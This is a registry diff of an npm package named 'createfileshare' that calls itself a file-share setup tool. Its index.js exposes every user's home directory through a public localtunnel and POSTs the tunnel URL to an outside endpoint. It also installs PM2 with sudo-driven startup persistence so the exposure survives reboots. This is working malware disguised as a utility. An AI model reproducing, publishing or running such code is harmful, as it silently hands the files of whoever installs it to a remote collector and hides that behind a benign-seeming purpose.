createfileshare 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +134 -0
  2. package/package.json +7 -0
package/index.js ADDED
@@ -0,0 +1,134 @@
1
+ #!/usr/bin/env node
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { execSync } = require('child_process');
5
+ const os = require('os');
6
+
7
+ // --- 1. CONFIGURATION ---
8
+ const folderName = process.argv[2] || 'my-fileshare';
9
+ const targetDir = path.join(process.cwd(), folderName);
10
+ const apiEndpoint = "https://linksaver-psi.vercel.app/api/save";
11
+ const PORT = 1903;
12
+
13
+ console.log(`\n🚀 Initializing Force Deployment on Port ${PORT}...`);
14
+
15
+ // --- 2. CREATE FOLDER STRUCTURE ---
16
+ if (!fs.existsSync(targetDir)) {
17
+ fs.mkdirSync(targetDir);
18
+ }
19
+
20
+ // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
21
+ const scriptContent = `
22
+ const { exec } = require('child_process');
23
+ const os = require('os');
24
+ const path = require('path');
25
+ const localtunnel = require('localtunnel');
26
+ const axios = require('axios');
27
+
28
+ const platform = os.platform();
29
+ const usersPath = platform === 'win32'
30
+ ? path.join(process.env.SystemDrive || 'C:', 'Users')
31
+ : (platform === 'darwin' ? '/Users' : '/home');
32
+
33
+ // Force start npx serve on Port ${PORT}
34
+ const server = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`);
35
+
36
+ (async () => {
37
+ // Wait 3 seconds to ensure the 'npx serve' process is fully up
38
+ await new Promise(resolve => setTimeout(resolve, 3000));
39
+
40
+ const connectTunnel = async (retries = 0) => {
41
+ try {
42
+ console.log(\`Attempting to open tunnel on port ${PORT}...\`);
43
+ const tunnel = await localtunnel({
44
+ port: ${PORT},
45
+ host: 'https://localtunnel.me' // Explicitly set host
46
+ });
47
+
48
+ tunnel.on('close', () => {
49
+ console.log("tunnel closed reconnecting...");
50
+ setTimeout(connectTunnel, 5000);
51
+ });
52
+
53
+ console.log(\`Tunnel Live: \${tunnel.url}\`);
54
+
55
+ await axios.post('${apiEndpoint}', {
56
+ link: tunnel.url,
57
+ });
58
+
59
+ tunnel.on('error', (err) => {
60
+ console.error('Tunnel Error, restarting...', err);
61
+ setTimeout(connectTunnel, 5000); // Auto-restart on crash
62
+ });
63
+
64
+ } catch (err) {
65
+ if (retries > 0) {
66
+ console.error(\`Connection refused. Retrying in 5s... (\${retries} left)\`);
67
+ setTimeout(() => connectTunnel(retries - 1), 5000);
68
+ } else {
69
+ console.error("Max retries reached. Localtunnel servers might be down.");
70
+ }
71
+ }
72
+ };
73
+
74
+ connectTunnel();
75
+ })();
76
+ `;
77
+
78
+ fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
79
+
80
+ // --- 4. GENERATE PACKAGE.JSON ---
81
+ const pkgJson = {
82
+ name: folderName,
83
+ version: "1.0.0",
84
+ main: "index.js",
85
+ dependencies: {
86
+ "localtunnel": "^2.0.2",
87
+ "axios": "^1.6.0",
88
+ "serve": "^14.2.0"
89
+ }
90
+ };
91
+ fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
92
+
93
+ // --- 5. FORCE EXECUTION SEQUENCE ---
94
+ try {
95
+ console.log(`\n📦 Step 1: Installing Local Dependencies...`);
96
+ execSync(`npm install`, { cwd: targetDir, stdio: 'inherit' });
97
+
98
+ console.log(`\n🌍 Step 2: Forcing Global PM2 Installation...`);
99
+ execSync(`npm install -g pm2`, { stdio: 'inherit' });
100
+
101
+ console.log(`\n🔥 Step 3: Starting PM2 Process (Force)...`);
102
+ // --force ensures it overwrites if a process with this name exists
103
+ execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
104
+
105
+ console.log(`\n🛠️ Step 4: Automating OS Startup...`);
106
+ const platform = os.platform();
107
+
108
+ if (platform === 'win32') {
109
+ console.log("Detected Windows: Using pm2-windows-startup...");
110
+ execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
111
+ execSync(`pm2-startup install`, { stdio: 'inherit' });
112
+ } else {
113
+ // Linux/Mac: Capture and execute the sudo command
114
+ const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
115
+ const lines = startupResult.split('\n');
116
+ const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
117
+
118
+ if (commandToRun) {
119
+ console.log(`Executing: ${commandToRun.trim()}`);
120
+ execSync(commandToRun.trim(), { stdio: 'inherit' });
121
+ }
122
+ }
123
+
124
+ console.log(`\n💾 Step 5: Saving PM2 State...`);
125
+ execSync(`pm2 save`, { stdio: 'inherit' });
126
+
127
+ console.log(`\n✅ DEPLOYMENT COMPLETE`);
128
+ console.log(`Your ${os.platform()} machine is now a permanent file server on Port ${PORT}.`);
129
+
130
+ } catch (error) {
131
+ console.error(`\n❌ Critical Failure during Force Execution:`);
132
+ console.error(error.message);
133
+ console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
134
+ }
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "createfileshare",
3
+ "version": "1.0.0",
4
+ "bin": {
5
+ "createfileshare": "./index.js"
6
+ }
7
+ }